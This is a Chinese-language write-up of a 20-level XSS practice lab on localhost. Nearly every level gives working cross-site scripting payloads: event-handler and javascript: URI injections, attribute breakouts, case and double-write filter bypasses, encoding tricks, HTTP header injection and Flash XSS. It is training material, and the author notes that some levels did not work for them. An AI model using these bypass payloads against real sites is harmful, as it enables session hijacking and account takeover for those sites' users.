0x00 前言
从基础开始学习XSS
根据XSS漏洞出现的位置,我们可以分为以下几类:
1:HTML标签之间的XSS
2:属性中的XSS
3:选择列表中的XSS
4:HTML事件中的XSS
5:javascript伪协议触发的XSS
LEVEL1
没有过滤任何
最简单的:
http://127.0.0.1/xss/level1.php?name=<script>alert(1)</script>
http://127.0.0.1/xss/level1.php?name=<svg/οnlοad=alert(1)>
http://127.0.0.1/xss/level1.php?name=<img src=1 οnerrοr=alert(1)>
http://127.0.0.1/xss/level1.php?name=<a href="javascript:alert(1)">test</a>
http://127.0.0.1/xss/level1.php?name=<p οnclick='alert(1)'>test</p> #点击触发事件
http://127.0.0.1/xss/level1.php?name=<p οnmοuseοver='alert(1)'>test</p> #移动鼠标触发事件
LEVEL2
测试发现进行了实体编码,过滤了<>
对value进行闭合:
" autofocus onfocus=alert(1)//
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="
LEVEL3
闭合符号改成了(’),继续使用LEVEL2中的payload即可(改一下‘)
LEVEL4
实体编码,过滤了<>,和上面一样构造一个不包含<>的弹窗事件,注意闭合前面的双引号。
" onfocusout=alert(1) autofocus x="
LEVEL5
过滤了<script 和on
插入javascript协议看看:
<a href="javascript:alert(1)">Clickme
插入后点击clickme即可
LEVEL6
看源码发现和上一关相比,虽然过滤了很多,但是strtolower函数
既将输入转化为小写
"><scRiPt>alert(1);</scrIPt>
LEVEL7
双写绕过
"><scrscriptipt>alert(1)</scrscriptipt>
LEVEL8
看到在a标签href属性里面,想到伪协议:
Javascript:伪协议后面可以使用URL编码。
如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
可用img就不行:<img src=1 onerror="javascript:%61lert(1)">
因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href="javascript:%61lert(1)">click me</a>
由于script关键字被过滤,javascript会被替换成javasc_rpt,
我们使用r来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php
伪协议后面可以使用URL编码等进行编码。构造payload:
javascript:alert(1)
javascript:%61lert(1)
javascript:alert`1`
javascript:alert`1`
LEVEL9
看源码吧,这题
javascript:alert('http://')
javascript:alert(1)/*http://www.baidu.com*/
LEVEL10
分析代码,发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,
或许我们可以从隐藏的输入框下手,构造payload:
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)
keyword = test&t_sort="type="text" onmouseover=alert`1`
这里我们需要改一下属性
这样的话:
<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">
构成一个js的点击弹窗事件
LEVEL11
可以看到
多了一个
str11=_SERVER['HTTP_REFERER'。
两个参数,一个是keyword,一个是t_sort都进行了实体编码过滤,但是HTTP_REFERER'只是简单过滤了<>,所以这里头部可以注入
构造http头部Referer的payload:
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
LEVEL12
看源码
换成了 str11=str11=_SERVER['HTTP_USER_AGENT']; 应该是User-Agent的http头部注入,burp抓包,构造http头部User-Agent的payload:
User-Agent: " onmouseover=alert(1) type="text"
User-Agent: " onclick="alert(1) type="text"
LEVEL13
和前面2题一样,改cookie
Cookie: user=" onmouseover=alert(1) type="text"
Cookie: user=" onclick="alert(1) type="text"
LEVEL14
这关啥也没有,看源代码都没有输入点,上网看了一下是题目坏了。。以下抄的网上的:
payload:
查看源码通过iframe标签引入了一个http://www.exifviewer.org, 结合乌云爆出的漏洞,上传一个含有xss代码的图片触发xss
exif xss
LEVEL15
这一关考的angular js的知识,稍微百度一下相关知识,发现ng-include有包含文件的意思,也就相当于php里面的include
发现可以包含第一关的页面,构造payload:
src='level1.php?name=<img src=x onerror=alert(1)>'
前面包含,后面的解释一下:
img标签首先回去寻找一个叫x的图片,找不到报错就执行后面的。
应该就是这样的。。但是没有复现成。。
LEVEL16
看源码发现
script , / , ,等都被转换成 ,我们可以用%0d,%0a等绕过
LEVEL17
看源码发现进行了实体编码,但是没有过滤on关键字
和第三关就一样了,使用on事件
前后2个都可以传参,选一个:
arg01=123&arg02= onmouseover=alert(1)
arg01=123&arg02=%20onmousedown=alert`1`
arg01=123&arg02= onmouseover=alert(1) type="text"
LEVEL18
和上一关一样使用on事件触发
LEVEL19
本题跟Flash XSS有关,需要对源码进行分析
参考:
https://www.jianshu.com/p/4e3a517bc4ea
flash xss,需要对flash的反编译对源码进行分析
首先定位getURL函数
然后追踪到sIFR的内容
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数
http://localhost/xss_test/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>
LEVEL20
本题也属于Flash XSS,将xsf04.swf文件分析得知分析得知是zeroclipboard.swf
http://localhost/xss_test/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
研究了一下网上的文章,天下博客一大抄啊。。
这里解释一下:
我的理解:我们使这句报错,catch处理异常,使得后面的alert执行。
这里我本地并不能弹窗,可能是我浏览器flass设置问题吧,bp验证没问题:
详情看文章:
https://www.freebuf.com/sectool/108568.html